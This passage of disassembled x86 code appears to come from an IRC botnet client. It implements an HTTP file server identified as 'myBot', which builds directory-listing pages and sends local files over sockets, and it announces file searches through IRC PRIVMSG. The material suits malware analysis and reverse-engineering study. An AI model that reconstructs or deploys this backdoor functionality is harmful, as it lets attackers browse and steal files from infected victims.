		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C	; recv
		test	eax, eax
		jg	short loc_40F2F8
		push	esi
		call	dword_4CB6EC	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A7
		lea	eax, [ebp+var_134]


loc_40F2B7:				; CODE XREF: sub_40F0D6+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B7
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2C8:				; CODE XREF: sub_40F0D6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EC
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D6:				; CODE XREF: sub_40F0D6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D6


loc_40F2EC:				; CODE XREF: sub_40F0D6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F2F8:				; CODE XREF: sub_40F0D6+1C8j
		xor	esi, esi
		push	104h		; Size
		lea	eax, [ebp+var_23C]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Str]
		mov	[ebp+arg_0], esi
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A7


loc_40F326:				; CODE XREF: sub_40F0D6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+Str]
		cmp	al, 0Ah
		mov	[ebp+esi+Str1],	al
		jnz	loc_40F3CB
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39F
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39F
		mov	eax, offset asc_42D124 ; " "
		push	eax		; Delim
		push	eax		; SubStr
		lea	eax, [ebp+Str1]
		push	esi		; SubStr
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		push	eax		; Str
		call	_strtok
		push	eax		; Source
		lea	eax, [ebp+var_23C]
		push	eax		; Dest
		call	_strcpy
		add	esp, 10h
		jmp	short loc_40F3B6
; ---------------------------------------------------------------------------


loc_40F39F:				; CODE XREF: sub_40F0D6+27Fj
					; sub_40F0D6+291j
		lea	eax, [ebp+Str1]
		push	offset asc_433F14 ; "\r\n"
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3EA


loc_40F3B6:				; CODE XREF: sub_40F0D6+2C7j
		push	edi		; Size
		lea	eax, [ebp+Str1]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CB:				; CODE XREF: sub_40F0D6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+Str]
		push	eax		; Str
		inc	esi
		call	_strlen
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F326
		jmp	loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F3EA:				; CODE XREF: sub_40F0D6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F434
		lea	eax, [ebp+var_134]


loc_40F3F6:				; CODE XREF: sub_40F0D6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F407
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F6
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F407:				; CODE XREF: sub_40F0D6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42B
		lea	eax, [ebp+ecx*4+var_134]


loc_40F415:				; CODE XREF: sub_40F0D6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F415


loc_40F42B:				; CODE XREF: sub_40F0D6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F437
; ---------------------------------------------------------------------------


loc_40F434:				; CODE XREF: sub_40F0D6+318j
		mov	esi, [ebp+var_4]


loc_40F437:				; CODE XREF: sub_40F0D6+32Fj
					; sub_40F0D6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F4A0
		lea	eax, [ebp+var_360]
		push	eax		; Str
		call	_strlen
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax		; Str
		call	_strlen
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F4A0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B4
		add	esp, 14h
		jmp	short loc_40F4A7
; ---------------------------------------------------------------------------


loc_40F4A0:				; CODE XREF: sub_40F0D6+369j
					; sub_40F0D6+38Fj
		push	esi
		call	dword_4CB6EC	; closesocket


loc_40F4A7:				; CODE XREF: sub_40F0D6+11Dj
					; sub_40F0D6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E3
		jmp	loc_40F1AD
; ---------------------------------------------------------------------------


loc_40F4BC:				; CODE XREF: sub_40F0D6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C1:				; CODE XREF: sub_40F0D6+6Aj
					; sub_40F0D6+92j ...
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_433EEC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F507
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_250]	; int
		push	eax		; int
		lea	eax, [ebp+var_5E8]
		push	eax		; Str
		push	[ebp+var_5EC]	; int
		call	sub_409A73
		add	esp, 14h


loc_40F507:				; CODE XREF: sub_40F0D6+40Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	edi
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_254]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F531	proc near		; DATA XREF: sub_40F6B4+24Do

Str		= byte ptr -1654h
Source		= byte ptr -654h
Dest		= byte ptr -550h
var_44C		= dword	ptr -44Ch
Format		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F597
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59C
; ---------------------------------------------------------------------------


loc_40F597:				; CODE XREF: sub_40F531+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F59C:				; CODE XREF: sub_40F531+64j
		lea	eax, [ebp+var_9C]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_427104	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_427100	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F615
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	short loc_40F636
; ---------------------------------------------------------------------------


loc_40F615:				; CODE XREF: sub_40F531+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 28h


loc_40F636:				; CODE XREF: sub_40F531+E2j
		lea	eax, [ebp+Str]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB6A4	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F676
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF1
		pop	ecx
		pop	ecx
		jmp	short loc_40F693
; ---------------------------------------------------------------------------


loc_40F676:				; CODE XREF: sub_40F531+12Dj
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	edi		; int
		push	[ebp+var_44C]	; int
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	sub_40F96B
		add	esp, 10h


loc_40F693:				; CODE XREF: sub_40F531+143j
		push	[ebp+var_44C]
		call	dword_4CB6EC	; closesocket
		push	[ebp+var_B4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_40F531	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B4	proc near		; CODE XREF: sub_40F0D6+3C0p

Source		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
Str		= byte ptr -314h
var_211		= byte ptr -211h
Dst		= byte ptr -210h
Dest		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6EA
		push	eax
		push	offset aS_9	; "\\%s"
		jmp	short loc_40F6F3
; ---------------------------------------------------------------------------


loc_40F6EA:				; CODE XREF: sub_40F6B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_6	; "%s"


loc_40F6F3:				; CODE XREF: sub_40F6B4+34j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		xor	esi, esi
		xor	ebx, ebx
		push	eax		; Str
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78E
		mov	[ebp+arg_8], 2


loc_40F71E:				; CODE XREF: sub_40F6B4+D8j
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75E
		cmp	[ebp+esi+Dest],	25h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75E
		inc	esi
		mov	[ebp+ebx+Dst], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F75E:				; CODE XREF: sub_40F6B4+7Aj
					; sub_40F6B4+84j ...
		mov	al, [ebp+esi+Dest]
		cmp	al, 2Fh
		jnz	short loc_40F76E
		push	5Ch
		pop	eax
		jmp	short loc_40F771
; ---------------------------------------------------------------------------


loc_40F76E:				; CODE XREF: sub_40F6B4+B3j
		movsx	eax, al


loc_40F771:				; CODE XREF: sub_40F6B4+B8j
		mov	[ebp+ebx+Dst], al


loc_40F778:				; CODE XREF: sub_40F6B4+A8j
		lea	eax, [ebp+Dest]
		inc	esi
		inc	[ebp+arg_8]
		push	eax		; Str
		inc	ebx
		call	_strlen
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71E


loc_40F78E:				; CODE XREF: sub_40F6B4+61j
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	[ebp+arg_4]
		push	offset aSS	; "%s%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		push	offset asc_42A0A0 ; "\n"
		push	eax		; Str
		call	_strtok
		add	esp, 18h
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_427098	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E2
		push	[ebp+arg_0]
		jmp	loc_40F862
; ---------------------------------------------------------------------------


loc_40F7DF:				; CODE XREF: sub_40F6B4+11Cj
		mov	[ebp+var_4], esi


loc_40F7E2:				; CODE XREF: sub_40F6B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EF
		mov	[ebp+var_4], esi


loc_40F7EF:				; CODE XREF: sub_40F6B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86D
		cmp	[ebp+arg_C], edi
		jz	short loc_40F861
		lea	eax, [ebp+Str]
		push	offset asc_4341A0 ; "*"
		push	eax		; Dest
		call	_strcat
		pop	ecx
		lea	eax, [ebp+Str]
		pop	ecx
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_4100AE
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax		; Format
		lea	eax, [ebp+var_53C]
		push	eax		; Dest
		call	_sprintf
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BC
; ---------------------------------------------------------------------------


loc_40F861:				; CODE XREF: sub_40F6B4+152j
		push	ebx


loc_40F862:				; CODE XREF: sub_40F6B4+126j
		call	dword_4CB6EC	; closesocket
		jmp	loc_40F964
; ---------------------------------------------------------------------------


loc_40F86D:				; CODE XREF: sub_40F6B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+Str]
		push	80000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BC
		lea	eax, [ebp+Str]
		push	eax		; Format
		lea	eax, [ebp+var_640]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:dword_427108	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_427068	; CloseHandle


loc_40F8BC:				; CODE XREF: sub_40F6B4+1ABj
					; sub_40F6B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+Source]
		push	esi
		push	offset asc_43416C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40B0F7
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E594[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F531
		push	edi
		push	edi
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40F936


loc_40F924:				; CODE XREF: sub_40F6B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F964
		push	5
		call	ds:dword_427078	; Sleep
		jmp	short loc_40F924
; ---------------------------------------------------------------------------


loc_40F936:				; CODE XREF: sub_40F6B4+26Ej
		push	ebx
		call	dword_4CB6EC	; closesocket
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_434134 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40F964:				; CODE XREF: sub_40F6B4+1B4j
					; sub_40F6B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40F96B(char *Str,int,int,char	*Source)

sub_40F96B	proc near		; CODE XREF: sub_401ACD+777Bp
					; sub_40F531+15Ap

Dst		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
Str1		= byte ptr -35Ch
var_248		= byte ptr -248h
Dest		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Source		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	_memset
		mov	edi, [ebp+Str]
		push	offset asc_42A0A0 ; "\n"
		push	edi		; Str
		call	_strtok
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_40FAC9
; ---------------------------------------------------------------------------


loc_40F9CA:				; CODE XREF: sub_40F96B+3Aj
		cmp	[ebp+Source], ebx
		push	edi		; Str
		jz	loc_40FAAF
		call	_strlen
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		push	edi		; Str
		call	_strlen
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_40FAC9
; ---------------------------------------------------------------------------


loc_40FAAF:				; CODE XREF: sub_40F96B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h


loc_40FAC9:				; CODE XREF: sub_40F96B+5Aj
					; sub_40F96B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		cmp	[ebp+Source], ebx
		jz	short loc_40FB64
		push	[ebp+Source]	; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB64
		push	[ebp+Source]	; Str
		call	_strlen
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB15


loc_40FB09:				; CODE XREF: sub_40F96B+1A8j
		mov	ecx, [ebp+Source]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB15
		dec	eax
		jnz	short loc_40FB09


loc_40FB15:				; CODE XREF: sub_40F96B+19Cj
					; sub_40F96B+1A5j
		inc	eax
		push	eax		; Count
		lea	eax, [ebp+Dst]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send


loc_40FB64:				; CODE XREF: sub_40F96B+180j
					; sub_40F96B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_427000	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+Str], eax
		push	ecx
		push	eax
		call	ds:dword_427118	; FindNextFileA
		test	eax, eax
		jz	loc_40FF54
		mov	edi, 1FFh


loc_40FB90:				; CODE XREF: sub_40F96B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3C
		lea	eax, [ebp+Str1]
		push	offset a__	; ".."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+Str1]
		push	offset a__0	; "."
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	ds:dword_427114	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_427110	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC05
		mov	ecx, offset aAm	; "AM"


loc_40FC05:				; CODE XREF: sub_40F96B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC11
		sub	eax, 0Ch


loc_40FC11:				; CODE XREF: sub_40F96B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC85
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_2	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FC85:				; CODE XREF: sub_40F96B+2E0j
		cmp	[ebp+Source], ebx
		jz	loc_40FD6F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		lea	eax, [ebp+Str1]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+Source]
		push	offset aSS_4	; "%s%s/"
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		lea	eax, [ebp+Str1]
		push	eax		; Str
		call	_strlen
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+Str1]
		push	eax
		jbe	short loc_40FD25
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD2A
; ---------------------------------------------------------------------------


loc_40FD25:				; CODE XREF: sub_40F96B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD2A:				; CODE XREF: sub_40F96B+3B8j
		lea	eax, [ebp+var_248]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send
		lea	eax, [ebp+Dest]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFE
; ---------------------------------------------------------------------------


loc_40FD6F:				; CODE XREF: sub_40F96B+31Dj
		lea	eax, [ebp+Str1]
		push	eax
		push	offset aS_2	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	loc_40FF0D
; ---------------------------------------------------------------------------


loc_40FDB4:				; CODE XREF: sub_40F96B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF3
		push	ebx
		push	[ebp+var_368]
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str1]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi		; Count


